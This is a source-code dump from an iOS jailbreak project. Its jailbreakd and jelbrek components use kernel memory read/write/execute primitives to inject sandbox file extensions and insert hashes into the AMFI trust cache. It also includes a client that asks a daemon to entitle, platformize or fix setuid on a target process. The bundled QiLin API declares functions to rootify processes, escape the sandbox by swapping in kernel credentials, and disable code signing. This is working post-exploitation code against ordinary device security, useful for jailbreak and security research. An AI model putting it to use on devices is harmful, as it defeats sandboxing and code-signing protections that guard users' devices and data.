78 |
79 | // 1 on success, 0 on error
80 | int OSArray_Merge(uint64_t array, uint64_t aArray) {
81 | uint64_t vtab = rk64(array);
82 | uint64_t f = rk64(vtab + off_OSArray_Merge);
83 |
84 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0);
85 | }
86 |
87 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){
88 | uint64_t vtab = rk64(array);
89 | uint64_t f = rk64(vtab + off_OSArray_GetObject);
90 |
91 | return kexecute(f, array, idx, 0, 0, 0, 0, 0);
92 | }
93 |
94 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){
95 | uint64_t ret = _OSArray_GetObject(array, idx);
96 |
97 | if (ret != 0){
98 | // XXX can it be not in zalloc?..
99 | ret = zm_fix_addr(ret);
100 | }
101 | return ret;
102 | }
103 |
104 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){
105 | uint64_t vtab = rk64(array);
106 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject);
107 |
108 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0);
109 | }
110 |
111 | // XXX error handling just for fun? :)
112 | uint64_t _OSUnserializeXML(const char* buffer) {
113 | size_t len = strlen(buffer) + 1;
114 |
115 | uint64_t ks = kalloc(len);
116 | kwrite(ks, buffer, len);
117 |
118 | uint64_t errorptr = 0;
119 |
120 | uint64_t rv = kexecute(find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0);
121 | kfree(ks, len);
122 |
123 | return rv;
124 | }
125 |
126 | uint64_t OSUnserializeXML(const char* buffer) {
127 | uint64_t ret = _OSUnserializeXML(buffer);
128 |
129 | if (ret != 0) {
130 | // XXX can it be not in zalloc?..
131 | ret = zm_fix_addr(ret);
132 | }
133 |
134 | return ret;
135 | }
136 |
137 | void OSObject_Release(uint64_t osobject) {
138 | uint64_t vtab = rk64(osobject);
139 | uint64_t f = rk64(vtab + off_OSObject_Release);
140 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
141 | }
142 |
143 | void OSObject_Retain(uint64_t osobject) {
144 | uint64_t vtab = rk64(osobject);
145 | uint64_t f = rk64(vtab + off_OSObject_Release);
146 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
147 | }
148 |
149 | uint32_t OSObject_GetRetainCount(uint64_t osobject) {
150 | uint64_t vtab = rk64(osobject);
151 | uint64_t f = rk64(vtab + off_OSObject_Release);
152 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0);
153 | }
154 |
155 | unsigned int OSString_GetLength(uint64_t osstring){
156 | uint64_t vtab = rk64(osstring);
157 | uint64_t f = rk64(vtab + off_OSString_GetLength);
158 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0);
159 | }
160 |
161 | char *OSString_CopyString(uint64_t osstring){
162 | unsigned int length = OSString_GetLength(osstring);
163 | char *str = malloc(length + 1);
164 | str[length] = 0;
165 |
166 | kread(OSString_CStringPtr(osstring), str, length);
167 | return str;
168 | }
169 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/osobject.h:
--------------------------------------------------------------------------------
1 | #define OSDictionary_ItemCount(dict) rk32(dict+20)
2 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32)
3 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx)
4 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8)
5 | #define OSString_CStringPtr(str) rk64(str + 0x10)
6 | #define OSArray_ItemCount(arr) rk32(arr+0x14)
7 | #define OSArray_ItemBuffer(arr) rk64(arr+32)
8 |
9 | // see osobject.c for info
10 |
11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val);
12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key);
13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict);
14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx);
15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx);
16 | int OSArray_Merge(uint64_t array, uint64_t aArray);
17 | uint64_t OSUnserializeXML(const char* buffer);
18 |
19 | void OSObject_Release(uint64_t osobject);
20 | void OSObject_Retain(uint64_t osobject);
21 | uint32_t OSObject_GetRetainCount(uint64_t osobject);
22 |
23 | unsigned int OSString_GetLength(uint64_t osstring);
24 | char *OSString_CopyString(uint64_t osstring);
25 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | #define CACHED_FIND(type, name) \
5 | type __##name(void);\
6 | type name(void) { \
7 | type cached = 0; \
8 | if (cached == 0) { \
9 | cached = __##name(); \
10 | } \
11 | return cached; \
12 | } \
13 | type __##name(void)
14 |
15 | int init_kernel(uint64_t base, const char *filename);
16 | void term_kernel(void);
17 |
18 | // Fun part
19 | uint64_t find_allproc(void);
20 | uint64_t find_add_x0_x0_0x40_ret(void);
21 | uint64_t find_OSBoolean_True(void);
22 | uint64_t find_OSBoolean_False(void);
23 | uint64_t find_zone_map_ref(void);
24 | uint64_t find_osunserializexml(void);
25 | uint64_t find_smalloc(void);
26 |
27 | #endif
28 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/sandbox.c:
--------------------------------------------------------------------------------
1 | #include "kmem.h"
2 | #include "kern_utils.h"
3 | #include "sandbox.h"
4 | #include "patchfinder64.h"
5 | #include "kexecute.h"
6 |
7 |
8 | typedef uint64_t extension_hdr_t;
9 | typedef uint64_t extension_t;
10 |
11 | struct extension_hdr {
12 | /* 0x00 */ extension_hdr_t next;
13 | /* 0x08 */ uint64_t desc;
14 | /* 0x10 */ extension_t ext_lst;
15 | /* 0x18 */
16 | };
17 |
18 | struct extension {
19 | /* 0x00 */ extension_t next;
20 | /* 0x08 */ uint64_t desc; // always 0xffffffffffffffff
21 | /* 0x10 */ uint64_t ext_lst; // zero, since it's extension and not a header
22 | /* 0x18 */ uint8_t something[32]; // zeroed from what I've seen
23 | /* 0x38 */ uint32_t type; // see ext_type enum
24 | /* 0x3c */ uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..)
25 | /* 0x40 */ uint64_t data; // a c string, meaning depends on type and hdr which had this extension
26 | /* 0x48 */ uint64_t data_len; // strlen(data)
27 | /* 0x50 */ uint64_t unk0; // always 0
28 | /* 0x58 */ uint64_t unk1; // always 0xdeadbeefdeadbeef
29 | /* 0x60 */
30 | };
31 |
32 | uint64_t _smalloc(uint64_t size) {
33 | return kexecute(find_smalloc(), size, 0, 0, 0, 0, 0, 0);
34 | }
35 |
36 | uint64_t smalloc(uint64_t size) {
37 | uint64_t ret = _smalloc(size);
38 |
39 | if (ret != 0) {
40 | // IOAlloc's of small size go to zalloc
41 | ret = zm_fix_addr(ret);
42 | }
43 |
44 | return ret;
45 | }
46 |
47 | uint64_t sstrdup(const char* s) {
48 | size_t slen = strlen(s) + 1;
49 |
50 | uint64_t ks = smalloc(slen);
51 | if (ks) {
52 | kwrite(ks, s, slen);
53 | }
54 |
55 | return ks;
56 | }
57 |
58 | // Notice: path should *not* end with '/' !
59 | uint64_t extension_create_file(const char* path, uint64_t nextptr) {
60 | size_t slen = strlen(path);
61 |
62 | if (path[slen - 1] == '/') {
63 | fprintf(stderr, "No traling slash in path pls\n");
64 | return 0;
65 | }
66 |
67 | uint64_t ext_p = smalloc(sizeof(struct extension));
68 | uint64_t ks = sstrdup(path);
69 |
70 | if (ext_p && ks) {
71 | struct extension ext;
72 | bzero(&ext, sizeof(ext));
73 | ext.next = nextptr;
74 | ext.desc = 0xffffffffffffffff;
75 |
76 | // ext.type = 0;
77 | // ext.subtype = 0;
78 |
79 | ext.data = ks;
80 | ext.data_len = slen;
81 |
82 | kwrite(ext_p, &ext, sizeof(ext));
83 | } else {
84 | // XXX oh no a leak
85 | }
86 |
87 | return ext_p;
88 | }
89 |
90 |
91 | // get 64 higher bits of 64bit int multiplication
92 | // https://stackoverflow.com/a/28904636
93 | // ofc in asm it's done with 1 instruction huh
94 | // XXX there has to be a cleaner way utilizing hardware support
95 | uint64_t mulhi(uint64_t a, uint64_t b) {
96 | uint64_t a_lo = (uint32_t)a;
97 | uint64_t a_hi = a >> 32;
98 | uint64_t b_lo = (uint32_t)b;
99 | uint64_t b_hi = b >> 32;
100 |
101 | uint64_t a_x_b_hi = a_hi * b_hi;
102 | uint64_t a_x_b_mid = a_hi * b_lo;
103 | uint64_t b_x_a_mid = b_hi * a_lo;
104 | uint64_t a_x_b_lo = a_lo * b_lo;
105 |
106 | uint64_t carry_bit = ((uint64_t)(uint32_t)a_x_b_mid +
107 | (uint64_t)(uint32_t)b_x_a_mid +
108 | (a_x_b_lo >> 32) ) >> 32;
109 |
110 | uint64_t multhi = a_x_b_hi +
111 | (a_x_b_mid >> 32) + (b_x_a_mid >> 32) +
112 | carry_bit;
113 |
114 | return multhi;
115 | }
116 |
117 | int hashing_magic(const char *desc) {
118 | // inlined into exception_add
119 | uint64_t hashed = 0x1505;
120 |
121 | // if desc == NULL, then returned value would be 8
122 | // APPL optimizes it for some reason
123 | // but meh, desc should never be NULL or you get
124 | // null dereference in exception_add
125 | // if (desc == NULL) return 8;
126 |
127 | if (desc != NULL) {
128 | for (const char* dp = desc; *dp != '\0'; ++dp) {
129 | hashed += hashed << 5;
130 | hashed += (int64_t) *dp;
131 | }
132 | }
133 |
134 | uint64_t magic = 0xe38e38e38e38e38f;
135 |
136 | uint64_t hi = mulhi(hashed, magic);
137 | hi >>= 3;
138 | hi = (hi<<3) + hi;
139 |
140 | hashed -= hi;
141 |
142 | return hashed;
143 | }
144 |
145 | static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only";
146 |
147 | uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) {
148 | struct extension_hdr hdr;
149 |
150 | uint64_t khdr = smalloc(sizeof(hdr));
151 |
152 | if (khdr) {
153 | // we add headers to end
154 | hdr.next = 0;
155 | hdr.desc = sstrdup(key);
156 | if (hdr.desc == 0) {
157 | // XXX leak
158 | return 0;
159 | }
160 |
161 | hdr.ext_lst = ext_lst;
162 | kwrite(khdr, &hdr, sizeof(hdr));
163 | }
164 |
165 | return khdr;
166 | }
167 |
168 | void extension_add(uint64_t ext, uint64_t sb, const char* desc) {
169 | // XXX patchfinder + kexecute would be way better
170 |
171 | int slot = hashing_magic(ent_key);
172 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*);
173 | uint64_t insert_at = rk64(insert_at_p);
174 |
175 | while (insert_at != 0) {
176 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc));
177 |
178 | if (kstrcmp(kdsc, desc) == 0) {
179 | break;
180 | }
181 |
182 | insert_at_p = insert_at;
183 | insert_at = rk64(insert_at);
184 | }
185 |
186 | if (insert_at == 0) {
187 | insert_at = make_ext_hdr(ent_key, ext);
188 | wk64(insert_at_p, insert_at);
189 | } else {
190 | // XXX no duplicate check
191 | uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst);
192 | uint64_t ext_lst = rk64(ext_lst_p);
193 |
194 | while (ext_lst != 0) {
195 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst);
196 | ext_lst_p = ext_lst + offsetof(struct extension, next);
197 | ext_lst = rk64(ext_lst_p);
198 | }
199 |
200 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst);
201 |
202 | wk64(ext_lst_p, ext);
203 | }
204 | }
205 |
206 | // 1 if yes
207 | int has_file_extension(uint64_t sb, const char* path) {
208 | const char* desc = ent_key;
209 | int found = 0;
210 |
211 | int slot = hashing_magic(ent_key);
212 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*);
213 | uint64_t insert_at = rk64(insert_at_p);
214 |
215 | while (insert_at != 0) {
216 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc));
217 |
218 | if (kstrcmp(kdsc, desc) == 0) {
219 | break;
220 | }
221 |
222 | insert_at_p = insert_at;
223 | insert_at = rk64(insert_at);
224 | }
225 |
226 | if (insert_at != 0) {
227 | uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst));
228 |
229 | uint64_t plen = strlen(path);
230 | char *exist = malloc(plen + 1);
231 | exist[plen] = '\0';
232 |
233 | while (ext_lst != 0) {
234 | // XXX no type/subtype check
235 | uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len));
236 | if (data_len == plen) {
237 | uint64_t data = rk64(ext_lst + offsetof(struct extension, data));
238 | kread(data, exist, plen);
239 |
240 | if (strcmp(path, exist) == 0) {
241 | found = 1;
242 | break;
243 | }
244 | }
245 |
246 | ext_lst = rk64(ext_lst);
247 | }
248 |
249 |
250 | free(exist);
251 | }
252 |
253 | return found;
254 | }
255 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd/sandbox.h:
--------------------------------------------------------------------------------
1 |
2 | // see https://stek29.rocks/2018/01/26/sandbox.html
3 |
4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc);
5 | uint64_t extension_create_file(const char* path, uint64_t nextptr);
6 | int has_file_extension(uint64_t sb, const char* path);
7 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd_client/Ent.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | platform-application
5 |
6 | com.apple.private.security.container-required
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd_client/Makefile:
--------------------------------------------------------------------------------
1 | TARGET = jailbreakd_client
2 | OUTDIR ?= bin
3 |
4 | CC = xcrun -sdk iphoneos cc -arch arm64
5 | LDID = ldid
6 | CFLAGS = -Wall
7 |
8 | .PHONY: all clean
9 |
10 | all: $(OUTDIR)/$(TARGET)
11 |
12 | DEBUG ?= 0
13 | ifeq ($(DEBUG), 1)
14 | CFLAGS += -DJAILBREAKD_CLIENT_DEBUG
15 | else
16 | CFLAGS += -O2
17 | endif
18 |
19 | $(OUTDIR):
20 | mkdir -p $(OUTDIR)
21 |
22 | $(OUTDIR)/$(TARGET): jailbreakd_client.m | $(OUTDIR)
23 | $(CC) -o $@ $^ -framework Foundation $(CFLAGS)
24 | $(LDID) -SEnt.plist $@
25 |
26 | clean:
27 | rm -f $(OUTDIR)/$(TARGET)
28 |
--------------------------------------------------------------------------------
/empty_list/jailbreakd_client/jailbreakd_client.m:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #define BUFSIZE 1024
11 |
12 | #define JAILBREAKD_COMMAND_ENTITLE 1
13 | #define JAILBREAKD_COMMAND_PLATFORMIZE 2
14 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6
15 |
16 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID {
17 | uint8_t Command;
18 | int32_t Pid;
19 | };
20 |
21 | int main(int argc, char **argv, char **envp) {
22 | if (argc < 3){
23 | printf("Usage: \n");
24 | printf("jailbreakd_client <1 | 2 | 6>\n");
25 | printf("\t1 = entitle+platformize the target PID\n");
26 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n");
27 | printf("\t6 = fixup setuid in the target PID\n");
28 | return 0;
29 | }
30 | if (atoi(argv[2]) != 1 && atoi(argv[2]) != 2 && atoi(argv[2]) != 6){
31 | printf("Usage: \n");
32 | printf("jailbreakd_client <1 | 2 | 6>\n");
33 | printf("\t1 = entitle the target PID\n");
34 | printf("\t2 = entitle+platformize the target PID and subsequently sent SIGCONT\n");
35 | printf("\t6 = fixup setuid in the target PID\n");
36 | return 0;
37 | }
38 |
39 | int sockfd, portno, n;
40 | int serverlen;
41 | struct sockaddr_in serveraddr;
42 | struct hostent *server;
43 | char *hostname;
44 | char buf[BUFSIZE];
45 |
46 | hostname = "127.0.0.1";
47 | portno = 5;
48 |
49 | sockfd = socket(AF_INET, SOCK_DGRAM, 0);
50 | if (sockfd < 0)
51 | printf("ERROR opening socket\n");
52 |
53 | /* gethostbyname: get the server's DNS entry */
54 | server = gethostbyname(hostname);
55 | if (server == NULL) {
56 | fprintf(stderr,"ERROR, no such host as %s\n", hostname);
57 | exit(0);
58 | }
59 |
60 | /* build the server's Internet address */
61 | bzero((char *) &serveraddr, sizeof(serveraddr));
62 | serveraddr.sin_family = AF_INET;
63 | bcopy((char *)server->h_addr,
64 | (char *)&serveraddr.sin_addr.s_addr, server->h_length);
65 | serveraddr.sin_port = htons(portno);
66 |
67 | /* get a message from the user */
68 | bzero(buf, BUFSIZE);
69 |
70 | struct JAILBREAKD_ENTITLE_PID entitlePacket;
71 | entitlePacket.Pid = atoi(argv[1]);
72 |
73 | int arg = atoi(argv[2]);
74 | if (arg == 1)
75 | entitlePacket.Command = JAILBREAKD_COMMAND_ENTITLE;
76 | else if (arg == 2)
77 | entitlePacket.Command = JAILBREAKD_COMMAND_PLATFORMIZE;
78 | else if (arg == 6)
79 | entitlePacket.Command = JAILBREAKD_COMMAND_FIXUP_SETUID;
80 |
81 | memcpy(buf, &entitlePacket, sizeof(struct JAILBREAKD_ENTITLE_PID));
82 |
83 | serverlen = sizeof(serveraddr);
84 | n = sendto(sockfd, buf, sizeof(struct JAILBREAKD_ENTITLE_PID), 0, (const struct sockaddr *)&serveraddr, serverlen);
85 | if (n < 0)
86 | printf("Error in sendto\n");
87 |
88 | return 0;
89 | }
90 |
91 | // vim:ft=objc
92 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/QiLin.h:
--------------------------------------------------------------------------------
1 | //
2 | // jjt.h
3 | // QiLin
4 | //
5 | // Created by JL on 12/7/17.
6 | // Copyright © 2017 NewOSXBook. All rights reserved.
7 |
8 | // Revision 3: Added spawnAndPlatformize(),
9 | // moved to posix_spawn() implementation for exec() family
10 | // actually exported the set*Reporter functions (formerly ErrorHandler.. etc -
11 | // "Reporter" is more accurate, because they allow you to propagate messages to
12 | // a GUI.
13 | //
14 | // Revision 4: Added kexec (executeInKernel)
15 | //
16 | // Revision 5: KMR/KMW (Kernel memory read/write) functions weren't exported! Oops!
17 | //
18 |
19 | #ifndef qilin_h
20 | #define qilin_h
21 | #include
22 | #include
23 | #include
24 |
25 |
26 | char *getMachine (void);
27 | char *getOSVer(void);
28 |
29 | // Update - To make kernel_task ("TFP0") less operation easier
30 | typedef int (*KMRFunc)(uint64_t Address, uint64_t Len, void **To);
31 | typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From);
32 | void setKernelMemoryReadFunction(KMRFunc F);
33 | void setKernelMemoryWriteFunction(KMWFunc F);
34 |
35 | // MUST call either initQiLin first - with or without TFP0, though, that's your call.
36 |
37 |
38 | int initQiLin (mach_port_t TFP0, uint64_t KernelBase);
39 | int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw);
40 |
41 |
42 | // System wide effects
43 | //
44 | int remountRootFS (void);
45 | pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags);
46 | int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
47 |
48 | int setTFP0AsHostSpecialPort4 (void);
49 |
50 | // 1/17/18 - This is super useful
51 | int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
52 | int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
53 |
54 |
55 | int moveFileFromAppDir (char *File, char *Dest);
56 | int disableAutoUpdates(void);
57 |
58 | // Code signing
59 |
60 | // Will set AMFId's exception ports and thereby disable code signing
61 | //
62 | int castrateAmfid (void);
63 |
64 | // Utility function - you probably won't need this directly.
65 | #define ALGORITHM_SHA256 2
66 | #define ALGORITHM_SHA1 1
67 | char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI)
68 |
69 | int platformizeProcAtAddr(uint64_t addr);
70 |
71 | // Kernel Memory access (wrappers over kernel_task send right)
72 | uint64_t findKernelSymbol (char *Symbol);
73 | void setKernelSymbol (char *Symbol, uint64_t Address);
74 |
75 | int readKernelMemory(uint64_t Address, uint64_t Len, void **To);
76 | int writeKernelMemory(uint64_t Address, uint64_t Len, void *From);
77 |
78 | // 03/20/2018: Kernel execution
79 |
80 | int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6);
81 |
82 |
83 | // 03/20/2018
84 | uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port);
85 |
86 | // Not recommended, but doable: Bestow task port of Pid in TargetPid
87 | mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid);
88 |
89 | //--------------------------------------
90 |
91 | // Process manipulation functions
92 |
93 | // Finds the address of struct proc for this pid_t in kernel memory.
94 | uint64_t getProcStructForPid(pid_t);
95 |
96 | // Finds the pid of a process given its (base) name. Note this will only
97 | // work on processes you are the owner of (or all, if root) - this is intentional
98 | pid_t findPidOfProcess (char *ProcName) ;
99 |
100 | int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set);
101 | int setCSFlagsForPid (pid_t Whom, uint32_t Flags);
102 | int platformizePid(pid_t Whom);
103 | int rootifyPid(pid_t Whom);
104 | int ShaiHuludPid (pid_t Whom);
105 | int unShaiHuludPid (pid_t Whom);
106 |
107 |
108 |
109 | uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg);
110 | // By request :-)
111 | uint64_t borrowEntitlementsFromPid(pid_t Pid);
112 |
113 |
114 |
115 | // Presently, limited to two entitlements, and assumed boolean (true)
116 | int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2);
117 |
118 | // Convenience functions - do all the above , but on my process
119 |
120 | int platformizeMe (void);
121 | int rootifyMe(void);
122 |
123 | // Escape sandbox:
124 | // call with 0 to assume kernel cred, else specify value. Will return origCreds
125 | uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds);
126 | void unShaiHuludMe(uint64_t OrigCreds);
127 | int entitleMe(char *entitlementString);
128 |
129 | uint64_t getKernelCredAddr (void);
130 |
131 |
132 |
133 | /// Launchd handling utilities - just for you @launchderp :-)
134 | int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad);
135 | int launjctlLaunchdPlist(char *Name);
136 |
137 | // I use these internally, not sure anyone else would need them
138 | int launjctlPrintSystem (void);
139 | int launjctlDumpState(void);
140 |
141 |
142 | // This one is still in progress. Don't use it please.
143 | int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name);
144 | int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget);
145 |
146 | // UI Support:
147 | // Provide status, error and debug print outs to user,
148 | // which may be redirected to GUI views, etc.
149 | // Default implmenentations are NSLog.
150 |
151 | typedef void (status_func) (char *,...);
152 | void setStatusReporter (status_func *Func);
153 | void setErrorReporter (status_func *Func);
154 | void setDebugReporter (status_func *Func);
155 |
156 |
157 | // Utility functions you probably won't need unless you want to do your own debugging
158 | void hexDump(void *Mem, int Len, uint64_t Addr);
159 | void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state);
160 |
161 | // Even more Internal/advanced use:
162 | uint64_t findKernelTask (void);
163 | uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already
164 |
165 |
166 | #endif /* qilin_h */
167 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/amfi_utils.h:
--------------------------------------------------------------------------------
1 |
2 | //
3 | // amfi_utils.h
4 | // electra
5 | //
6 | // Created by Jamie on 27/01/2018.
7 | // Copyright © 2018 Electra Team. All rights reserved.
8 | //
9 |
10 | #ifndef amfi_utils_h
11 | #define amfi_utils_h
12 |
13 | #include
14 |
15 | #define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
16 |
17 | int strtail(const char *str, const char *tail);
18 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out);
19 | uint8_t *getSHA256(const uint8_t* code_dir);
20 | uint8_t *getCodeDirectory(const char* name);
21 |
22 | // thx hieplpvip
23 | void inject_trusts(int pathc, const char *paths[]);
24 |
25 | // Trust cache types
26 | typedef char hash_t[20];
27 |
28 | struct trust_chain {
29 | uint64_t next;
30 | unsigned char uuid[16];
31 | unsigned int count;
32 | } __attribute__((packed));
33 |
34 | /*
35 | Note this patch still came from @xerub's KPPless branch, but detailed below is kind of my adventures which I rediscovered most of what he did
36 |
37 | So, as said on twitter by @Morpheus______, iOS 11 now uses SHA256 for code signatures, rather than SHA1 like before.
38 | What confuses me though is that I believe the overall CDHash is SHA1, but each subhash is SHA256. In AMFI.kext, the memcmp
39 | used to check between the current hash and the hashes in the cache seem to be this CDHash. So the question is do I really need
40 | to get every hash, or just the main CDHash and insert that one into the trust chain?
41 |
42 | If we look at the trust chain code checker (0xFFFFFFF00637B3E8 6+ 11.1.2), it is pretty basic. The trust chain is in the format of
43 | the following (struct from xerub, but I've checked with AMFI that it is the case):
44 |
45 | struct trust_mem {
46 | uint64_t next; // +0x00 - the next struct trust_mem
47 | unsigned char uuid[16]; // +0x08 - The uuid of the trust_mem (it doesn't seem important or checked apart from when importing a new trust chain)
48 | unsigned int count; // +0x18 - Number of hashes there are
49 | unsigned char hashes[]; // +0x1C - The hashes
50 | }
51 |
52 | The trust chain checker does the following:
53 | - Find the first struct that has a count > 0
54 | - Loop through all the hashes in the struct, comparing with the current hash
55 | - Keeps going through each chain, then when next is 0, it finishes
56 |
57 | UPDATE: a) was using an old version of JTool. Now I realised the CDHash is SHA256
58 | b) For launchd (whose hash resides in the AMFI cache), the first byte is used as an index sort of thing, and the next *19* bytes are used for the check
59 | This probably means that only the first 20 bytes of the CDHash are used in the trust cache check
60 |
61 | So our execution method is as follows:
62 | - Calculate the CD Hashes for the target resources that we want to play around with
63 | - Create a custom trust chain struct, and insert it into the existing trust chain - only storing the first 20 bytes of each hash
64 | - ??? PROFIT
65 | */
66 |
67 | #endif /* amfi_utils_h */
68 |
--------------------------------------------------------------------------------
/empty_list/jelbrek/amfi_utils.m:
--------------------------------------------------------------------------------
1 | // Comes from Electra, adapted for FAT binary support by me
2 | //
3 | // amfi_utils.c
4 | // electra
5 | //
6 | // Created by Jamie on 27/01/2018.
7 | // Copyright © 2018 Electra Team. All rights reserved.
8 | //
9 |
10 | #include "amfi_utils.h"
11 | #include "kern_utils.h"
12 | #include "patchfinder64.h"
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 |
19 | uint32_t swap_uint32( uint32_t val ) {
20 | val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF );
21 | return (val << 16) | (val >> 16);
22 | }
23 |
24 | uint32_t read_magic(FILE* file, off_t offset) {
25 | uint32_t magic;
26 | fseek(file, offset, SEEK_SET);
27 | fread(&magic, sizeof(uint32_t), 1, file);
28 | return magic;
29 | }
30 |
31 | void *load_bytes(FILE *file, off_t offset, size_t size) {
32 | void *buf = calloc(1, size);
33 | fseek(file, offset, SEEK_SET);
34 | fread(buf, size, 1, file);
35 | return buf;
36 | }
37 |
38 | void getSHA256inplace(const uint8_t* code_dir, uint8_t *out) {
39 | if (code_dir == NULL) {
40 | printf("NULL passed to getSHA256inplace!\n");
41 | return;
42 | }
43 | uint32_t* code_dir_int = (uint32_t*)code_dir;
44 |
45 | uint32_t realsize = 0;
46 | for (int j = 0; j < 10; j++) {
47 | if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {
48 | realsize = swap_uint32(code_dir_int[j+1]);
49 | code_dir += 4*j;
50 | }
51 | }
52 |
53 | CC_SHA256(code_dir, realsize, out);
54 | }
55 |
56 | uint8_t *getSHA256(const uint8_t* code_dir) {
57 | uint8_t *out = malloc(CC_SHA256_DIGEST_LENGTH);
58 | getSHA256inplace(code_dir, out);
59 | return out;
60 | }
61 |
62 | uint8_t *getCodeDirectory(const char* name) {
63 |
64 | FILE* fd = fopen(name, "r");
65 |
66 | uint32_t magic;
67 | fread(&magic, sizeof(magic), 1, fd);
68 | fseek(fd, 0, SEEK_SET);
69 |
70 | long off = 0, file_off = 0;
71 | int ncmds = 0;
72 | BOOL foundarm64 = false;
73 |
74 | if (magic == MH_MAGIC_64) { // 0xFEEDFACF
75 | struct mach_header_64 mh64;
76 | fread(&mh64, sizeof(mh64), 1, fd);
77 | off = sizeof(mh64);
78 | ncmds = mh64.ncmds;
79 | }
80 | else if (magic == MH_MAGIC) {
81 | printf("[-] %s is 32bit. What are you doing here?\n", name);
82 | fclose(fd);
83 | return NULL;
84 | }
85 | else if (magic == 0xBEBAFECA) { //FAT binary magic
86 |
87 | size_t header_size = sizeof(struct fat_header);
88 | size_t arch_size = sizeof(struct fat_arch);
89 | size_t arch_off = header_size;
90 |
91 | struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size);
92 | struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size);
93 |
94 | int n = swap_uint32(fat->nfat_arch);
95 | printf("[*] Binary is FAT with %d architectures\n", n);
96 |
97 | while (n-- > 0) {
98 | magic = read_magic(fd, swap_uint32(arch->offset));
99 |
100 | if (magic == 0xFEEDFACF) {
101 | printf("[*] Found arm64\n");
102 | foundarm64 = true;
103 | struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64));
104 | file_off = swap_uint32(arch->offset);
105 | off = swap_uint32(arch->offset) + sizeof(struct mach_header_64);
